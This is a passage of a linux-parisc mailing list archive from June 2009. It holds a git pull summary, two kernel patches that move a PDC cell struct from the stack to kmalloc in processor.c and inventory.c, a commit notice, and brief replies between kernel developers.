>>>> @@ -405,7 +405,7 @@ byte_copy:
>>>> =A0unaligned_copy:
>>>> =A0 =A0 =A0 /* possibly we are aligned on a word, but not on a dou=
ble... */
>>>> - =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1)) =3D=3D 0) =
{
>>>> + =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1) =3D=3D 0)) =
{
>>>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 t2 =3D src & (sizeof(unsigned int) - 1=
);
>>>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (unlikely(t2 !=3D 0)) {
>>>> --
>>>> To unsubscribe from this list: send the line "unsubscribe linux-pa=
risc"
>>>> in
>>>> the body of a message to majordomo@vger.kernel.org
>>>> More majordomo info at =A0http://vger.kernel.org/majordomo-info.ht=
ml
>>>>
>>>>
>>>
>>> --
>>> To unsubscribe from this list: send the line "unsubscribe linux-par=
isc"
>>> in
>>> the body of a message to majordomo@vger.kernel.org
>>> More majordomo info at =A0http://vger.kernel.org/majordomo-info.htm=
l
>>>
>>>
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-pari=
sc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
>>
>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: what's in parisc-2.6.git
Date: Tue, 23 Jun 2009 16:15:16 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <20090623161516.GA12499@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245773733 28971 80.91.229.12 (23 Jun 2009 16:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 16:15:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 18:15:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ8eY-0005Bn-2h
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 18:15:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751444AbZFWQPR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 12:15:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754014AbZFWQPQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 12:15:16 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:37051 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751444AbZFWQPP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 12:15:15 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/sISg83rZOdsMUyzNMGvKfo+76Vv59fZ0@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n5NGFHxl013435
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 23 Jun 2009 16:15:18 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n5NGFGjT013434
	for linux-parisc@vger.kernel.org; Tue, 23 Jun 2009 16:15:16 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9497/Tue Jun 23 10:30:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 23 Jun 2009 16:15:18 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1819>

commit mail seems to be broken again for some reason...

The following changes since commit d888a4c76c51092993643f8992bf55b3c28da483:
  Linus Torvalds (1):
        Merge branch 'for-linus' of git://git.kernel.org/.../vapier/blackfin

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git parisc

Alexander Beregalov (4):
      parisc: stifb: should depend on STI_CONSOLE
      parisc: ccio-dma: fix build failure without procfs
      parisc: remove CVS keywords
      parisc: decode_exc.c should include kernel.h

Bastian Blank (1):
      parisc: Remove casts from atomic macros

Christoph Hellwig (1):
      parisc: remove dead code from sys_parisc32.c

Coly Li (1):
      parisc: add parameter to read_cr16()

Grant Grundler (3):
      parisc: advertise PCI devs after "assign_resources"
      parisc: Fix gcc 4.4 warning in lba_pci.c
      parisc: fix "delay!" timer handling

Helge Deller (3):
      parisc: fix ldcw inline assembler
      parisc: fix irq compile bugs in arch/parisc/kernel/irq.c
      parisc: ensure broadcast tlb purge runs single threaded

Kyle McMartin (4):
      parisc: wire up preadv/pwritev syscalls
      parisc: kill WARN in free_initmem when DEBUG_KERNEL
      parisc: wire up rt_tgsigqueueinfo
      parisc: fix compile warning in mm/init.c

Randolph Chung (1):
      parisc: fix mismatched parenthesis in memcpy.c

Thomas Gleixner (1):
      parisc: remove obsolete hw_interrupt_type

 arch/parisc/include/asm/atomic.h   |    8 ++--
 arch/parisc/include/asm/dma.h      |    3 +-
 arch/parisc/include/asm/system.h   |    4 +-
 arch/parisc/include/asm/tlbflush.h |   14 +++---
 arch/parisc/include/asm/unistd.h   |    5 ++-
 arch/parisc/kernel/cache.c         |   26 ++++++----
 arch/parisc/kernel/irq.c           |   10 ++--
 arch/parisc/kernel/pci-dma.c       |   12 +++--
 arch/parisc/kernel/pci.c           |    3 +-
 arch/parisc/kernel/processor.c     |    3 +-
 arch/parisc/kernel/setup.c         |    3 +-
 arch/parisc/kernel/sys_parisc32.c  |   62 ------------------------
 arch/parisc/kernel/syscall_table.S |    3 +
 arch/parisc/kernel/time.c          |   90 +++++++++++++++++++++--------------
 arch/parisc/lib/checksum.c         |    2 -
 arch/parisc/lib/memcpy.c           |    2 +-
 arch/parisc/math-emu/decode_exc.c  |    2 +-
 arch/parisc/mm/fault.c             |    3 +-
 arch/parisc/mm/init.c              |   29 ++++--------
 drivers/parisc/ccio-dma.c          |    7 ++-
 drivers/parisc/dino.c              |   12 ++--
 drivers/parisc/eisa.c              |    2 +-
 drivers/parisc/gsc.c               |    4 +-
 drivers/parisc/gsc.h               |    2 +-
 drivers/parisc/iosapic.c           |    2 +-
 drivers/parisc/lba_pci.c           |   41 +++++++++++------
 drivers/parisc/superio.c           |    2 +-
 drivers/video/Kconfig              |    2 +
 28 files changed, 164 insertions(+), 194 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/2] parisc: processor.c, fix bloated stack frame
Date: Tue, 23 Jun 2009 13:18:26 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <1245777507-14997-1-git-send-email-kyle@mcmartin.ca>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1245777942 10576 80.91.229.12 (23 Jun 2009 17:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 17:25:42 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 19:25:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ9kT-0000Eu-88
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 19:25:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752467AbZFWRZ3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 13:25:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752672AbZFWRZ3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 13:25:29 -0400
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:37802 "EHLO
	shortfin.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752467AbZFWRZ2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 13:25:28 -0400
X-Greylist: delayed 446 seconds by postgrey-1.27 at vger.kernel.org; Tue, 23 Jun 2009 13:25:28 EDT
Original-Received: from kyle by shortfin.cabal.ca with local (Exim 4.69)
	(envelope-from <kyle@shortfin.cabal.ca>)
	id 1MJ9dc-0003uP-00
	for linux-parisc@vger.kernel.org; Tue, 23 Jun 2009 13:18:28 -0400
X-Mailer: git-send-email 1.6.3.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1820>

From: Kyle McMartin <kyle@shortfin.cabal.ca>

The pa_pdc_cell struct can be kmalloc'd, so do that instead.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/kernel/processor.c |   16 +++++++++++-----
 1 files changed, 11 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 1ca69a8..c8fb61e 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -120,22 +120,28 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	if (is_pdc_pat()) {
 		ulong status;
 		unsigned long bytecnt;
-	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	        pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 #undef USE_PAT_CPUID
 #ifdef USE_PAT_CPUID
 		struct pdc_pat_cpu_num cpu_info;
 #endif
 
+		pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+		if (!pa_pdc_cell)
+			panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
-			dev->mod_index, PA_VIEW, &pa_pdc_cell);
+			dev->mod_index, PA_VIEW, pa_pdc_cell);
 
 		BUG_ON(PDC_OK != status);
 
 		/* verify it's the same as what do_pat_inventory() found */
-		BUG_ON(dev->mod_info != pa_pdc_cell.mod_info);
-		BUG_ON(dev->pmod_loc != pa_pdc_cell.mod_location);
+		BUG_ON(dev->mod_info != pa_pdc_cell->mod_info);
+		BUG_ON(dev->pmod_loc != pa_pdc_cell->mod_location);
+
+		txn_addr = pa_pdc_cell->mod[0];   /* id_eid for IO sapic */
 
-		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
+		kfree(pa_pdc_cell);
 
 #ifdef USE_PAT_CPUID
 /* We need contiguous numbers for cpuid. Firmware's notion
-- 
1.6.3.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/2] parisc: inventory.c, fix bloated stack frame
Date: Tue, 23 Jun 2009 13:18:27 -0400
Lines: 118
Approved: news@gmane.org
Message-ID: <1245777507-14997-2-git-send-email-kyle@mcmartin.ca>
References: <1245777507-14997-1-git-send-email-kyle@mcmartin.ca>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1245777943 10581 80.91.229.12 (23 Jun 2009 17:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 17:25:43 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 19:25:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ9kU-0000Eu-2s
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 19:25:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752672AbZFWRZa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 13:25:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752828AbZFWRZ3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 13:25:29 -0400
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:37803 "EHLO
	shortfin.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752672AbZFWRZ3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 13:25:29 -0400
Original-Received: from kyle by shortfin.cabal.ca with local (Exim 4.69)
	(envelope-from <kyle@shortfin.cabal.ca>)
	id 1MJ9dc-0003uR-68
	for linux-parisc@vger.kernel.org; Tue, 23 Jun 2009 13:18:28 -0400
X-Mailer: git-send-email 1.6.3.1
In-Reply-To: <1245777507-14997-1-git-send-email-kyle@mcmartin.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1821>

From: Kyle McMartin <kyle@shortfin.cabal.ca>

The pa_pdc_cell struct can be kmalloc'd, so do that
instead.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/kernel/inventory.c |   41 +++++++++++++++++++++++----------------
 1 files changed, 24 insertions(+), 17 deletions(-)

diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index bd1f7f1..bb3195b 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -170,23 +170,27 @@ static void __init pagezero_memconfig(void)
 static int __init 
 pat_query_module(ulong pcell_loc, ulong mod_index)
 {
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 	unsigned long bytecnt;
 	unsigned long temp;	/* 64-bit scratch value */
 	long status;		/* PDC return value status */
 	struct parisc_device *dev;
 
+	pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 	/* return cell module (PA or Processor view) */
 	status = pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
-				     PA_VIEW, &pa_pdc_cell);
+				     PA_VIEW, pa_pdc_cell);
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
 		return status;
 	}
 
-	temp = pa_pdc_cell.cba;
-	dev = alloc_pa_dev(PAT_GET_CBA(temp), &pa_pdc_cell.mod_path);
+	temp = pa_pdc_cell->cba;
+	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
 		return PDC_OK;
 	}
@@ -203,8 +207,8 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	/* save generic info returned from the call */
 	/* REVISIT: who is the consumer of this? not sure yet... */
-	dev->mod_info = pa_pdc_cell.mod_info;	/* pass to PAT_GET_ENTITY() */
-	dev->pmod_loc = pa_pdc_cell.mod_location;
+	dev->mod_info = pa_pdc_cell->mod_info;	/* pass to PAT_GET_ENTITY() */
+	dev->pmod_loc = pa_pdc_cell->mod_location;
 
 	register_parisc_device(dev);	/* advertise device */
 
@@ -216,14 +220,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	case PAT_ENTITY_PROC:
 		printk(KERN_DEBUG "PAT_ENTITY_PROC: id_eid 0x%lx\n",
-			pa_pdc_cell.mod[0]);
+			pa_pdc_cell->mod[0]);
 		break;
 
 	case PAT_ENTITY_MEM:
 		printk(KERN_DEBUG 
 			"PAT_ENTITY_MEM: amount 0x%lx min_gni_base 0x%lx min_gni_len 0x%lx\n",
-			pa_pdc_cell.mod[0], pa_pdc_cell.mod[1], 
-			pa_pdc_cell.mod[2]);
+			pa_pdc_cell->mod[0], pa_pdc_cell->mod[1], 
+			pa_pdc_cell->mod[2]);
 		break;
 	case PAT_ENTITY_CA:
 		printk(KERN_DEBUG "PAT_ENTITY_CA: %ld\n", pcell_loc);
@@ -243,23 +247,26 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
  print_ranges:
 		pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
 				    IO_VIEW, &io_pdc_cell);
-		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell.mod[1]);
-		for (i = 0; i < pa_pdc_cell.mod[1]; i++) {
+		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell->mod[1]);
+		for (i = 0; i < pa_pdc_cell->mod[1]; i++) {
 			printk(KERN_DEBUG 
 				"  PA_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, pa_pdc_cell.mod[2 + i * 3],	/* type */
-				pa_pdc_cell.mod[3 + i * 3],	/* start */
-				pa_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, pa_pdc_cell->mod[2 + i * 3],	/* type */
+				pa_pdc_cell->mod[3 + i * 3],	/* start */
+				pa_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 			printk(KERN_DEBUG 
 				"  IO_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, io_pdc_cell.mod[2 + i * 3],	/* type */
-				io_pdc_cell.mod[3 + i * 3],	/* start */
-				io_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, io_pdc_cell->mod[2 + i * 3],	/* type */
+				io_pdc_cell->mod[3 + i * 3],	/* start */
+				io_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 		}
 		printk(KERN_DEBUG "\n");
 		break;
 	}
 #endif /* DEBUG_PAT */
+
+	kfree(pa_pdc_cell);
+
 	return PDC_OK;
 }
 
-- 
1.6.3.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Tue, 23 Jun 2009 17:27:07 GMT
Lines: 27
Approved: news@gmane.org
Message-ID: <200906231727.n5NHR7Fe005011@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1245778054 10876 80.91.229.12 (23 Jun 2009 17:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2009 17:27:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 19:27:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJ9mI-0001eq-9f
	for glpp-linux-parisc@gmane.org; Tue, 23 Jun 2009 19:27:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752302AbZFWR1H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 13:27:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752620AbZFWR1G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 13:27:06 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:37166 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752302AbZFWR1G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 13:27:06 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19vaEaM3aIYEvlgGnPj8aKJkqUC0x0SEAM@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n5NHR8WI005014
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 23 Jun 2009 17:27:08 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n5NHR7Fe005011
	for linux-parisc@vger.kernel.org; Tue, 23 Jun 2009 17:27:07 GMT
X-Virus-Scanned: ClamAV 0.93.3/9497/Tue Jun 23 10:30:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 23 Jun 2009 17:27:08 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1822>

New commits:
commit d754f0124d47a7a3bed83d292cb8400be7d75397
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jun 23 13:11:22 2009 -0400

    parisc: inventory.c, fix bloated stack frame
    
    The pa_pdc_cell struct can be kmalloc'd, so do that
    instead.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 7c871d1ce0cf1713926171ef49dfe42f7fa4b1f0
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jun 23 13:10:03 2009 -0400

    parisc: processor.c, fix bloated stack frame
    
    The pa_pdc_cell struct can be kmalloc'd, so do that instead.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's in parisc-2.6.git
Date: Tue, 23 Jun 2009 20:29:20 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090624002921.2D5544EDA@hiauly1.hia.nrc.ca>
References: <20090623161516.GA12499@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245803371 19526 80.91.229.12 (24 Jun 2009 00:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 00:29:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@hera.kernel.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 02:29:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJGMd-0007ua-LG
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 02:29:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750775AbZFXA3T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 20:29:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751076AbZFXA3T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 20:29:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3096 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750775AbZFXA3T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 20:29:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2D5544EDA; Tue, 23 Jun 2009 20:29:20 -0400 (EDT)
In-Reply-To: <20090623161516.GA12499@hera.kernel.org> from "Kyle McMartin" at Jun 23, 2009 04:15:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1823>

> The following changes since commit d888a4c76c51092993643f8992bf55b3c28da483:
>   Linus Torvalds (1):
>         Merge branch 'for-linus' of git://git.kernel.org/.../vapier/blackfin
> 
> are available in the git repository at:

Thanks for bring this up to date.

What the status of the changes in the parisc-2.6.29 branch?  The sba_iommu
fix seems obvious.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's in parisc-2.6.git
Date: Tue, 23 Jun 2009 20:41:29 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090624004129.GB3101@bombadil.infradead.org>
References: <20090623161516.GA12499@hera.kernel.org> <20090624002921.2D5544EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245804102 21022 80.91.229.12 (24 Jun 2009 00:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 00:41:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 02:41:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJGYQ-0003BP-MA
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 02:41:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751180AbZFXAl1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 20:41:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751185AbZFXAl1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 20:41:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44532 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751180AbZFXAl1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 20:41:27 -0400
